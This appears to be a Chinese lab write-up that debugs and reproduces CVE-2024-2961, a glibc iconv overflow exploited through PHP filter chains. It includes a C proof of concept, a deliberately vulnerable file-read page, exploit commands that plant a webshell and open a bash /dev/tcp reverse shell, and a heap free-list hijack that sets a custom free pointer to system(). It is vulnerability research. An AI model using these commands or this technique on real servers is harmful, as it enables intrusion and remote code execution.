0x00 写在前面

本实验是对 CVE-2024-2961 漏洞的调试分析和复现,所有实验过程均在本地搭建的虚拟机中进行。通过该实验比较深入地理解了该漏洞的成因和利用过程。

请严格遵守所在地法律法规。

0x01 简单利用环境

首先随便找一个现成的含有 php 的环境的 docker 镜像:

1
sudo docker run -it --name cve-2024-2961 -p 80:80 vulhub/php:8.3.4-apache

然后再启一个 shell 进入该容器

1
2
# sudo docker start 086a40912191
sudo docker exec -it 086a40912191 /bin/bash

然后为运行环境装一下必要的包

1
2
3
4
apt update
apt -y install vim ncat python3 python3-pip
pip install ten --break-system-packages
pip install pwntools -i https://mirrors.ustc.edu.cn/pypi/simple --break-system-packages

然后验证该环境中的 libc 是否有问题,通过一个简单的 c 程序进行验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <string.h>
#include <iconv.h>

// hexdump 函数的实现
void hexdump(void *ptr, int buflen)
{
unsigned char *buf = (unsigned char*)ptr;
int i;
for (i = 0; i < buflen; i++) {
if (i % 16 == 0)
printf("\n%06x: ", i);
printf("%02x ", buf[i]);
}
printf("\n");
}
void main()
{
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
char input[0x10] = "AAAAA劄";
char output[0x10] = {0};
char *pinput = input;
char *poutput = output;
// Same size for input and output buffer: 8 bytes
size_t sinput = strlen(input);
size_t soutput = sinput;
iconv(cd, &pinput, &sinput, &poutput, &soutput);
printf("Remaining bytes (should be > 0): %zd\n", soutput);
hexdump(output, 0x10);
}

在容器中编译运行,可以看到其计算错误,于是 iconv 确实是有问题的

简易poc验证漏洞存在

的编码可以简单在进行一个查看

1
2
print("劄".encode())
# b'\xe5\x8a\x84'

然后给这个 php 环境中来一个默认的 index.php 文件,该文件包含了会调用iconv的地方。

1
2
3
4
5
6
7
8
9
10
// index.php
<?php
error_reporting(0);
if(isset($_POST['file'])) {
echo "File contents: ".file_get_contents($_POST['file']) ;
}
else {
highlight_file(__FILE__);
}
?>

然后保存文件后,我们访问本地服务,可以看到该代码即可以确认本地服务运行正常 http://127.0.0.1/index.php

web端搭建简易php服务

然后,再结合现成的 exp.py 即可完成利用

1
2
3
python3 exp.py [url] [cmd]

python3 exp.py http://127.0.0.1/index.php "echo '<?phpinfo();?>' > shell.php"

等待 exp 运行结束后,就会在目标机器上进行命令执行,这里我们简单执行一个写入木马到文件的操作,木马的内容也很简单就是查看本地 php 的运行环境。

当出现下面这个界面时则证明利用成功。

点击利用成功

此时我们可以正常连接到我们的木马上:http://127.0.0.1/shell.php

执行命令成功

至此,完成这个利用,当然同理也是可以反弹 shell 回来的。

1
python3 exp.py http://127.0.0.1/index.php "bash -c 'bash -i >& /dev/tcp/127.0.0.1/6666 0>&1'"

反弹shell成功

0x02 调试环境搭建

虽然 pwndbg 又更新了,导致装环境因为网络问题又整了很久,但总之是成功装好了,就是按照官方流程来即可。

Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
FROM ubuntu:22.04

ENV TZ=Asia/Shanghai

RUN sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt update
RUN echo "Asia\nShanghai" | apt install -y tzdata
RUN apt install -y nginx vim gcc ncat python3 python3-pip
# libc降级到有漏洞的版本
# RUN apt install -y --allow-downgrades libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 libc6=2.35-0ubuntu3
COPY index.php /var/www/html/index.php
COPY poc.c /var/www/html/poc.c
COPY exp.py /var/www/html/exp.py
COPY nginx.conf /etc/nginx/sites-enabled/default
COPY start.sh /var/www/html/start.sh

nginx.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# nginx.conf
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.php;
server_name _;
location / {
try_files $uri $uri/ /index.php?$query_string;
}
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
}

PoC.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <string.h>
#include <iconv.h>

// hexdump 函数的实现
void hexdump(void *ptr, int buflen)
{
unsigned char *buf = (unsigned char*)ptr;
int i;
for (i = 0; i < buflen; i++) {
if (i % 16 == 0)
printf("\n%06x: ", i);
printf("%02x ", buf[i]);
}
printf("\n");
}
void main()
{
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
char input[0x10] = "AAAAA劄";
char output[0x10] = {0};
char *pinput = input;
char *poutput = output;
// Same size for input and output buffer: 8 bytes
size_t sinput = strlen(input);
size_t soutput = sinput;
iconv(cd, &pinput, &sinput, &poutput, &soutput);
printf("Remaining bytes (should be > 0): %zd\n", soutput);
hexdump(output, 0x10);
}

start.sh

1
2
3
#!/bin/bash
/etc/init.d/php8.1-fpm start
nginx -g 'daemon off;'

构建image

1
sudo docker build -t cve-2024-2961 .

启动容器

1
sudo docker run -it -p 80:80 cve-2024-2961:v2

目标程序

首先将 /etc/apt/sources.list 中的 deb-src 给取消注释。然后执行下面的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 从源码安装 php8.1
# cd php8.1
./configure --enable-fpm --enable-cli --disable-cgi --with-zlib --without-sqlite3 --without-pdo-sqlite
make -j`nproc` && make install

# 降级 libc
apt install -y libc6=2.35-0ubuntu3 libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 --allow-downgrades
# 如果因为依赖原因装不了可以试试 aptitude
apt install aptitude
aptitude install libc6=2.35-0ubuntu3 libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3

# 先简单在 c 里面验证一下 poc
./poc

# 简单尝试运行下
# 开启本地 web 服务
php -S localhost:80
# 然后就可以使用了 post 脚本能正常跑

dbg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# gdb
apt install gdb

# pwndbg
# 现在它需要依赖于 `poetry` 这个位置会卡住很久 所以先自己安装好
# 可能也会失败很多次 多试几次 反复一下即可
curl -sSL https://install.python-poetry.org | python3 -
# 然后再走官方的 setup.sh
# 这个过程会有很多的 py 包被先后安装,
# 有多线程的原因,有的包后安会因为另外的包没有先安装成功,
# 也有网络的原因,有的包下载中会中断,
# 所以可以反复多次重复执行 setup.sh
# 最终它按照拓扑排序肯定会逐一安装完毕的
# 坚持不懈 最终能安成功的
./setup.sh

导入导出一下

1
2
3
4
5
# 导出
docker export 7691a814370e > cve-2024-2961-dbg.tar

# 导入 - 后面指定了导入后本地镜像的名称和版本
cat cve-2024-2961-dbg.tar | docker import - cve-2024-2961:exp

0x03 漏洞分析

iconv() 函数是 glibc 提供的用于字符编码转换的 API ,可以将输入转换成另一种指定的编码输出。比如将原本为 gbk 编码的输入转化为 utf-8 的编码输出。当将“劄”、“䂚”、“峛”或“湿”等采用 utf-8 编码的汉语生僻字转化为 ISO-2022-CN-EXT 字符集输出时,会导致输出缓冲区有 1-3 字节的溢出。

漏洞点

该函数的定义如下

1
2
3
size_t iconv(iconv_t cd,
char **restrict inbuf, size_t *restrict inbytesleft,
char **restrict outbuf, size_t *restrict outbytesleft);

漏洞位置代码如下,这里有三个 if 块,可以看到,第一个中有对输出缓冲区大小的判断,而第二个和第三个则没有,于是就存在漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// iconvdata/iso-2022-cn-ext.c

/* See whether we have to emit an escape sequence. */
if (set != used)
{
/* First see whether we announced that we use this
character set. */
if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]
{
const char *escseq;

if (outptr + 4 > outend) // <-------------------- BOUND CHECK
{
result = __GCONV_FULL_OUTPUT;
break;
}

assert(used >= 1 && used <= 4);
escseq = ")A\0\0)G)E" + (used - 1) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SO_ann) | (used << 8);
}
else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]
{
const char *escseq;

// <-------------------- NO BOUND CHECK

assert(used == CNS11643_2_set); /* XXX */
escseq = "*H";
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SS2_ann) | (used << 8);
}
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]
{
const char *escseq;

// <-------------------- NO BOUND CHECK

assert((used >> 5) >= 3 && (used >> 5) <= 7);
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SS3_ann) | (used << 8);
}
}

漏洞关键字符

具体而言,使用 , , 湿 可以造成 1-3 字节的溢出。

  • $*H [24 2A 48]
  • $+I [24 2B 49]
  • $+J [24 2B 4A]
  • $+K [24 2B 4B]
  • $+L [24 2B 4C]
  • $+M [24 2B 4D]

漏洞利用条件

由于该漏洞是在 glibc 中,因此要利用该漏洞,可以由上层的各种应用只要使用了该函数均可以。

这里使用的是 php 中对 iconv 的调用来进行利用,因此构建的 php 服务端是存在任意文件读的漏洞的,然后将其转换为任意代码执行。这里主要利用任意文件读来读取 /proc/self/maps 用于获取内存中相关的内存空间以获取 php 的堆地址和 libc 的基地址,同时下载 libc 文件,以获取其中的 system 函数等的偏移。

php伪协议

php 伪协议php://filter 也叫 php 过滤器,通常可以使用来对文件进行读取,例如使用下面的伪协议可以将文件中的内容读取后使用 base64 进行编码。

1
php://filter/convert.base64-encode/resource=...

而这个过滤器可以支持多层嵌套,已管道符 | 进行分割,同时其接收的过滤器包含了 convert.iconv.X.Y 该过滤器的功能为将内容从字符集 X 转换到字符集 Y ,而该函数在 Linux 上底层实现就是采用的 iconv() 来进行的。

php堆管理机制

php 的堆管理机制可能有些复杂,这里我们不做十分详细的学习,只做简单了解,满足我们这里的漏洞利用需要即可。

php 的堆块由一个 0x200000 (2MB) 的大块组成,然后将其切分成了 512 个大小为 0x1000 字节的页。同一个页面中的块大小相等,每个页面可能按照需求被切分成相同大小的块,但页面之间的块的大小没有什么关系。

这些空闲块是按照单链表的形式进行连接的,当一个块释放的时候会被挂在头部,当申请一个块时,会从头部取下一个块,即 LIFO 的形式进行,这些块被申请和被放置的位置是之间根据块的大小来进行的,会自动放置在相应的含有这个大小的块的页中。在每个块的头部的第一个八字节记录了其下一个空闲堆块的地址。

php-heap

但PHP对每个HTTP请求会创建新堆,我们要怎样才能知道该在内存的什么地方进行溢出呢?这是进行利用的一个难点。

filters链的处理与bucket队列技术

PHP在处理过滤器时,首先会获取流(读取资源)。流是存储在一系列 bucket 中的,这些 bucket 是双向链接的结构,每个 bucket 包含一定大小的缓冲区。以读取 /etc/passwd 为例,可能会有 3bucket :第一个可能包含文件的前 5 个字节,第二个 bucket 再增加 30 个字节,第三个 bucket 则再增加 1000 个字节。它们连接在一起构成了一个 bucket 传送带系统。

stream-simple

获取流之后就是应用过滤器对流进行处理了。处理过程是这样的:取第一个过滤器并对第一个 bucket 进行处理。为此,会分配一个与 bucke 缓冲区大小相同的输出缓冲区(例子中是5个字节)并进行转换。例如,如果过滤器是 string.upper ,它会将输入缓冲区中的每个小写字符转换为其在输出缓冲区中的大写等价物并创建一个新的指向这个输出缓冲区的 bucket ,接着继续处理第二个 bucket ,第三个 bucket ,直到最后一个 bucket ,每个输出 bucket 又形成了一个新的传送带序列:

stream-simple.filtered

最后在这个序列上继续应用第二个过滤器,第三个过滤器,直到处理完最后一个过滤器。

单个bucket

前面说到了 php 处理过滤器时的 bucket 队列技术,然而实际上无论是读取文件还是请求 HTTP URL ,亦或是使用ftp://协议,PHP都只生成包含整个响应内容的一个bucket。无法利用单一的bucket来填充堆或操作修改后的空闲列表。

这是为什么呢?因为借助单个 bucket ,我们可以溢出到一个空闲块并修改空闲列表,但随后我们就用完了所有的 bucket ,而要利用已修改的空闲列表进行操作至少还需要再分配两个 bucket !(为什么至少再需要两个,看到下面空闲列表控制就能明白了)

可以用一个叫 zlib.inflate 的过滤器来解决这个问题。该过滤器接收流并对其进行解压缩处理。为此,它会分配一个大小为8页( 0x8000 字节)的缓冲区并将流填充至其中。如果这个缓冲区不足以容纳全部数据, 它将再新创建一个相同大小的缓冲区来存储剩余部分;若前两个缓冲区仍不够用, 则继续增加更多的缓冲区。然后将每个缓冲区都添加到 bucket 中。可以使用此过滤器创建任意数量的 bucket

zlib-filter

然而,这些 bucket 的缓冲区大小为 0x8000 ,这个大小并不利于利用;这种大小的缓冲区分配方式与上面描述的不同,并且在释放后不会进入空闲列表。因此需要调整存储 bucket 的大小。

分块

可以利用过滤器 dechunk,该过滤器用于解码经过 HTTP-chunked 编码的字符串。

HTTP-chunked 编码通过数据块(非堆内存块)发送数据。它先发送一个以十六进制表示的大小,紧接着是一个换行符,然后是相应大小的数据块,再接一个换行符。接着发送另一个大小、另一个数据块、再一个大小、又一个数据块,并通过发送大小为 0 来指示数据的结束,如图示:

dechunk

解块后结果是:This is how the chunked encoding works

使用此过滤器,调整 bucket 的大小听起来像是儿戏:在每个 bucket 中,我们用我们想要的大小作为数据的前缀(例如,第一个 bucket 中的 0x148 ,第二个 bucket0x100 等),然后我们放置数据,最后一个0表示我们完成了。设置 dechunkbuckets

dechunk-fail

它看起来不错,但它不起作用。虽然桶是单独处理的,但桶并不是独立的:它们都被解析为一个大流。当 dechunk 过滤器处理流时,它读取第一个 bucket 中的大小 0x148 ,取出 0x148 字节,然后读取大小为零,这会导致它停止解析。它不会去第二桶。它只是完全停止解析。我们操作的最终结果是,我们从几个桶(好)变回了一个桶(坏)。

幸运的是,找到一种方法来规避这一点并不难:在每个 bucket 中,我们提供一个大小和一个数据块。为了做到这一点,我们不是天真地写一个尺寸,而是用数千个零来填充它,以得到这样的结果:

那么为了得到任意大小的bucket,我们应在每个bucket的前面先填充成千上万个零,然后提供一个大小和数据块,如下所示:

dechunk-ok

空闲列表控制

目标是通过将某些指针的最低有效位(LSB)覆盖为值 0x48(ASCII中的H)来修改某个空闲列表。为了能无条件地达到相同效果,针对大小为 0x100 的块,因为这些块地址的最低有效位总是零。这意味着我们的溢出效果始终相同:给一个块指针增加 0x48

通过下面六个步骤来修改指针达到控制空闲列表的目的:

exploit-steps

为了便于描述将大小为 0x100 的块的空闲列表命名为 FL[0x100] ,假设已经通过分配大量 0x100 大小的块成功填充了堆。因此,在内存中的某个位置,必有三个连续的空闲块 ABC,其中 AFL[100] 的头。A指向BB指向C(步骤1)。我们可以分配这三个块(步骤2),然后再次释放它们(步骤3)。此时,空闲列表被反转:我们得到的是 C→B→A。接着我们再次进行分配,但这次我们在C的偏移量 0x48 处放置了一个任意指针 0x1122334455(步骤4)。再次释放它们(步骤5)后,状态与步骤1完全相同,但有一个小差异:在 C+0x48 处存在一个任意指针。现在我们可以从块A执行溢出操作,这将改变B中包含的指针的位置。它现在指向了 C+0x48 的位置,结果使得空闲列表变为 B \rightarrow C+0x48 \rightarrow 0x1122334455 。再进行 3 次分配,就可以让 PHP 分配在我们的任意地址。于是拥有了一个“写入任意位置”的功能。

回到漏洞利用的实现上来,在此处描述的各个步骤中,分配块然后释放块。但我们无法真正摆脱bucket:我们只能改变它们的大小。然而,我们只关心大小为 0x100 的块—好像其他块不存在一样!因此将每个 bucket 构建为如下 HTTP 分块:

russian-bucket

对于漏洞利用的每个步骤,都会调用 dechunk 过滤器:因此每个 bucket 的大小都会发生变化。有些 bucket 的大小变为 0x100 ,因此在漏洞利用中“出现”,而有些 bucket 则变小,因此消失。这为我们提供了一种完美的方法,可以让 bucket 在特定时刻实现,并在不再需要它们时将其丢弃。

代码执行

虽然可以通过读取 /proc/self/maps 来查看内存区域,但我们并不清楚自己在堆中的确切位置。可以通过定位PHP的堆来完全忽略这个问题。它很容易识别。它的顶部有一个 _zend_mm_heap 结构,其中包含非常有用的字段。

首先,它包含每个空闲列表。通过覆盖空闲列表,可以获得任意数量、任意大小的写入内容来覆盖最后一个字段 custom_heap ,其中包含 emalloc()efree()erealloc() 的替代函数(类似于 glibc 中的 _malloc_hook 及其同类函数)。然后将 use_custom_heap 设置为 1,并在 bucket 上调用 free(),从而获得带有受控参数的任意函数调用。由于可以使用文件读取来访问二进制文件,因此可以构建花哨的 ROP 链,但为了尽可能通用,故将 custom_heap.free 设置为 system() ,允许我们以 CTF 方式运行任意 bash 命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct _zend_mm_heap {
...
int use_custom_heap;
...
zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
...
union {
struct {
void *(*_malloc)(size_t);
void (*_free)(void*);
void *(*_realloc)(void*, size_t);
} std;
} custom_heap;
};

利用概述

利用脚本执行了三个请求:首先下载 /proc/self/maps 文件,并从中提取 PHP 堆的地址和 libc 库的文件名。接着下载 libc 二进制文件来提取 system() 函数的地址。最后执行一次最终请求来触发溢出并执行预设的任意命令。

0x04 开始调试

总体思路

本次调试分成以下多个步骤进行:

  1. 理性认识堆块放置的位置和相关堆块的长相 —— poc1
  2. 在堆布局中进行一个 0x100 的堆块的申请 —— poc2
  3. 在堆布局中进行一个 0x100 的堆块的释放 —— poc3
  4. 组合利用 mallocfree 的能力,结合漏洞,实现指针的覆盖 —— poc4
  5. 利用利用并布置相关命令,实现 getshell —— poc5

启动容器

在调试之前,确保你的容器跑起来的时候,加入了正确的参数,否则一些调试无法做到,比如关闭随机化。

1
2
sudo docker run -it -p 80:80 --privileged --cap-add sys_ptrace --security-opt seccomp=unconfined cve-2024-2961:exp /bin/bash
sudo docker exec -it 590d59c9aae6 /bin/bash

这里我们先通过文件 /proc/self/maps 查看系统中当前进程的内存映射信息

/proc/self/maps 是一个特殊的文件,在 Linux 系统中用于显示当前进程(即访问 /proc/self 时的进程)的内存映射信息。这个文件包含了当前进程的内存区域的信息,包括它们的起始和结束地址、权限、偏移量、设备、inode 以及对应的文件路径。

通过任意文件读取,获取内存映射信息找到 php 堆的内存,php 的堆内存非常好识别,大小固定为 2MB (0x200000)

简单先看看,可以发现此时没有一个映射是满足的,因为我们还没有将 php 运行起来

maps映射信息

然后我们在一个终端中将 php 跑起来再看看

1
2
3
4
5
# terminal1
php -S localhost:80

# terminal2
curl -X POST -d "file=/var/www/html/poc.c" http://localhost/index.php

此时看到的数据依然是一样的,还是没有 phpphp 的堆出现。

那我们试试,用 gdb 将程序暂停起来

1
2
3
4
5
6
# poc.php
<?php
$poc = "php://filter/read=convert.base64-encode/resource=start.sh";
$data = file_get_contents($poc);
var_dump($data);
?>

然后将程序跑起来,停止在断点处,依然没有出现,气死我了

1
2
pwndbg> b *_php_stream_fill_read_buffer+309
pwndbg> r poc.php

看来还是从 gdb 内部来观测吧,简单将其反汇编看看代码段。

1
pwndbg> disassemble _php_stream_fill_read_buffer

然后得到 +309 附近的数据

0x000000000046ab4f <+303>: mov rsi,rbp
0x000000000046ab52 <+306>: mov rdi,rbx
0x000000000046ab55 <+309>: call QWORD PTR [rax]
0x000000000046ab57 <+311>: cmp eax,0x2

然后,先写一个简单的 poc.py 参考 exp 部分再提供的代码。

然后运行起来后,会在同目录下生成5个文件分别如下:

1
2
python3 poc.py
# poc1.php poc2.php poc3.php poc4.php poc5.php

然后我们一一介绍进行调试

确定php堆头

首先我们需要确定 php 的堆起始地址,这里我通过调试来找的,通过命令 vmmap 来寻找:

vmmap查看映射

这里我们定位到它是通过以下几个条件:

  1. 权限为 rw-p
  2. 大小为 2MB=0x200000
  3. 不属于什么有名有姓的程序文件

于是找到了起始地址是 0x7ffff5800000 于是,根据偏移 0x40 ,我们得到了 php_heap 地址为 0x7ffff5800040

观察堆结构长相

在有了上述的堆起始地址后,我们来感性观测一下堆结构,我们先在 ~/.gdbinit 中定义几个函数,方便操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# ~/.gdbinit
# source /var/www/html/pwndbg/gdbinit.py
source /var/www/html/pwndbg/gdbinit.py

define php_heap
p *(struct _zend_mm_heap *) 0x7ffff5800040
end
define pbucket
p *(php_stream_bucket *) $arg0
end
define pchunk
x/4gx $arg0
end
define pbucketall
pbucket $arg0
set $bucket = (php_stream_bucket*) $arg0
if $bucket->next != 0
pbucketall $bucket->next
end
end

然后,需要考虑我们的利用是分配 0x100 的堆,所以,我们尽可能关注这个大小的堆的情况。于是我们根据头文件 zend_alloc_sizes.h 可以得知 free_slot 的大小分布情况

1
2
3
4
5
6
7
8
/* num, size, count, pages */
#define ZEND_MM_BINS_INFO(_, x, y) \
_( 0, 8, 512, 1, x, y) \
//...
_(14, 224, 18, 1, x, y) \
_(15, 256, 16, 1, x, y) \
// ...
_(29, 3072, 4, 3, x, y)

可以看到,0x100=256 对应的下标是 15

poc1

poc1 中关键的 filter 如下,主要观测下,堆的长相和堆块放置的位置。

1
2
3
filters = [
"zlib.inflate",
]

观测第一次收放后 free_slot 情况,在 _php_stream_fill_read_buffer+309 处下断点,将程序跑起来,喂的输入是 poc1.php

1
2
pwndbg> b *_php_stream_fill_read_buffer+309
pwndbg> r poc1.php

然后使用自定义命令 php_heap 查看堆块数据

php_heap信息

然后我们就直接找关心的 0x100 所属的,即下标偏移为 15 处的,执行 p $1.free_slot[15]

查看free_slot[15]信息

此时,free_slot 中堆头的地址是 0x7ffff5887100

poc2

poc2 中关键的 filter 如下,此时,我们希望申请一个 0x100 的堆块。

1
2
3
4
5
6
7
filters = [
# zlib解压缩
"zlib.inflate",
# 让php分配0x100大小的堆
"dechunk",
"convert.iconv.latin1.latin1"
]

接下来,我们尝试在堆上进行操作,将这个 0x100 的堆块拿到,并且我们还知道,他的下一个大小为 0x100 的堆块是物理紧邻其后的。

1
2
pwndbg> b *_php_stream_fill_read_buffer+309
pwndbg> r poc2.php

此时,我们 c 让程序执行在 "zlib.inflate" ,此时参数 brig_inp 指向了 0x7ffff5863120 所以可以通过这个查看函数转换前后,buf 的相关信息。

查看申请的堆块

接下来,查看 brig_inp 所指向位置的 buf 信息 (0x7fffffffaa30 -> 0x7ffff5863120),即输入的 bucket 信息,可以看到这个大小是 32768=0x8000

查看到bucket信息

于是我们再 c 一下,将程序停在 dechunk ,然后再看一次,可以看到这次 bucket内容,发现 buf 的堆地址没变,只有 buflen 被修改为了 0x100

查看pbucket信息

然后我们将程序停止在 status = filter->fops->filter(stream, filter, brig_inp, brig_outp, NULL, flags); 执行之后,在判断 break 当前循环的 if 之前停下。

1
2
3
pwndbg> b *php_iconv_stream_filter_do_filter+191
pwndbg> c
pwndbg> ni

如下图所示

停在最后一个if前

然后再查看输入输出中的 bucket 情况,可以看到 0x7ffff5887100 处的堆块已经被申请到,同时 free_slot 中的 0x100 堆块起始也变成了下一个堆块 0x7ffff5887200

申请成功

poc3

poc3 中关键的 filter 如下,此时,我们希望释放一个 0x100 的堆块。

1
2
3
4
5
6
7
8
9
10
filters = [
# zlib解压缩
"zlib.inflate",
# 让php分配0x100大小的堆
"dechunk",
"convert.iconv.latin1.latin1",
# 释放0x100大小的堆
"dechunk",
"convert.iconv.latin1.latin1"
]

poc1 执行一个 c 程序就结束了
poc2 执行三个 c 程序就结束了
poc3 执行五个 c 程序就结束了
poc4 执行七个 c 程序就结束了

所以,我们在三次 c 之后就是第二个 dechunk 执行完毕,这时我们查看 brig_inp,然后再下第二个断点在 php_iconv_stream_filter_do_filter 执行完毕后等着。

所以,直接快进到下面,查看释放前堆的情况,尤其是 free_slot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# gdb php
pwndbg> b *_php_stream_fill_read_buffer+309
pwndbg> r poc3.php
...
pwndbg> c
pwndbg> c
pwndbg> c
pwndbg> c
pwndbg> p *brig_inp.head
$1 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffaa20,
buf = 0x7ffff5886000 'A' <repeats 16 times>, '0' <repeats 184 times>...,
buflen = 16,
own_buf = 1 '\001',
is_persistent = 0 '\000',
refcount = 1
}

如下图所示,可以看到,此时 free_slot 的头部为 0x7ffff5886200 ,同时 brig_inp.head 中的 buf0x7ffff5886000

查看释放前到php堆情况

然后再开始下断点,再走程序

1
2
3
pwndbg> b *php_iconv_stream_filter_do_filter+191
pwndbg> c
pwndbg> n

此时,程序停在 if 退出的位置上

停止if退出位置

然后我们看释放吐出来的堆块信息,此时可以看到 0x100 的堆的地址是 0x7ffff5886000 这与我们 brig_inp.head 时看到的一致,从结果可以看出,大小为 0x100 的堆(0x7ffff5886000 )已经被释放并且被放入 free_slot 当中,所以起始地址才是它。

释放后信息

poc4

在上述 poc2poc3 的基础上,我们能实现申请一个 0x100 的堆块和释放一个 0x100 的堆块了,相当于我们已经能进行 mallocfree 了。然后就可以开始尝试进行利用链的构造。所以我们构造的利用链如下:

  1. 最开始申请 0x100 大小的堆时,free 链为 0x7ffff588a100 -> 0x7ffff588a200 -> 0x7ffff588a300 -> 0x7ffff588a400 -> 0x7ffff588a500
  2. 申请三个堆以后,free 链为 0x7ffff588a400 -> 0x7ffff588a500 -> 0x7ffff588a600
  3. 依次释放三个堆后,free 链为 0x7ffff588a300 -> 0x7ffff588a200 -> 0x7ffff588a100 -> 0x7ffff588a400 -> 0x7ffff588a500 。(倒序一下)
  4. 再次申请两个堆,此时获取到的堆是 0x7ffff588a3000x7ffff588a200 ,此时 free 链为 0x7ffff588a100 -> 0x7ffff588a400 -> 0x7ffff588a500
  5. 再释放这两个堆后,free 链为 0x7ffff588a200 -> 0x7ffff588a300 -> 0x7ffff588a100 -> 0x7ffff588a400 -> 0x7ffff588a500 。(再将 2 和 3 倒叙一下)
  6. 触发漏洞,这个时候,0x7ffff588a200 将会被用来存放 iconv 的结果,所以就能往后溢出一个字节去覆盖物理后面的下一个块 0x7ffff588a300 的第一个字节,在 poc 中是溢出为 0x48 ,于是原始的 0x7ffff588a300 的第一个值就从 0x7ffff588a100 变成了 0x7ffff588a148 了。于是 free 链为 0x7ffff588a300 -> 0x7ffff588a148

于是,得到的 poc4 中的关键的 filter 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
filters = [
# zlib解压缩
"zlib.inflate",
# 第一步
"dechunk",
"convert.iconv.latin1.latin1",
# 第二步
"dechunk",
"convert.iconv.latin1.latin1",
# 第三步触发漏洞
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT"
]

于是我们也是直接快进下面的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# gdb php
pwndbg> b *_php_stream_fill_read_buffer+309
pwndbg> r poc4.php
pwndbg> c
pwndbg> c
pwndbg> c
pwndbg> c
pwndbg> c
pwndbg> c
pwndbg> b *php_iconv_stream_filter_do_filter+191
pwndbg> c
pwndbg> n
pwndbg> set $phpheap = (struct _zend_mm_heap *) 0x7ffff5800040
pwndbg> p $phpheap->free_slot[15]
$1 = (zend_mm_free_slot *) 0x7ffff588a200

直接查看最后一次覆盖后,堆块的信息,可以看到我们在 0x7ffff588a200 中成功通过溢出将下一个堆块 0x7ffff588a300 原始的值 0x7ffff588a100 覆盖为了 0x7ffff588a148

溢出覆盖指针

从上面的内存布局可以看出,程序已经按照我们的设想触发漏洞,溢出覆盖了 free_slots 的指针。

poc5

在这里有了上面的指针劫持之后,我们只需要进行关键位置的替换操作即可。

如下面的代码所示,最终的利用是通过控制 _zend_mm_heap 结构体中的custom_heap 。所以要将其中的 use_custom_heap 设置为 1(第三行),同时要将 37-39 对应的函数指针也填写上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
struct _zend_mm_heap {
#if ZEND_MM_CUSTOM
int use_custom_heap;
#endif
#if ZEND_MM_STORAGE
zend_mm_storage *storage;
#endif
#if ZEND_MM_STAT
size_t size; /* current memory usage */
size_t peak; /* peak memory usage */
#endif
zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
#if ZEND_MM_STAT || ZEND_MM_LIMIT
size_t real_size; /* current size of allocated pages */
#endif
#if ZEND_MM_STAT
size_t real_peak; /* peak size of allocated pages */
#endif
#if ZEND_MM_LIMIT
size_t limit; /* memory limit */
int overflow; /* memory overflow flag */
#endif

zend_mm_huge_list *huge_list; /* list of huge allocated blocks */

zend_mm_chunk *main_chunk;
zend_mm_chunk *cached_chunks; /* list of unused chunks */
int chunks_count; /* number of allocated chunks */
int peak_chunks_count; /* peak number of allocated chunks for current request */
int cached_chunks_count; /* number of cached chunks */
double avg_chunks_count; /* average number of chunks allocated per request */
int last_chunks_delete_boundary; /* number of chunks after last deletion */
int last_chunks_delete_count; /* number of deletion over the last boundary */
#if ZEND_MM_CUSTOM
union {
struct {
void *(*_malloc)(size_t);
void (*_free)(void*);
void *(*_realloc)(void*, size_t);
} std;
struct {
void *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
void (*_free)(void* ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
void *(*_realloc)(void*, size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
} debug;
} custom_heap;
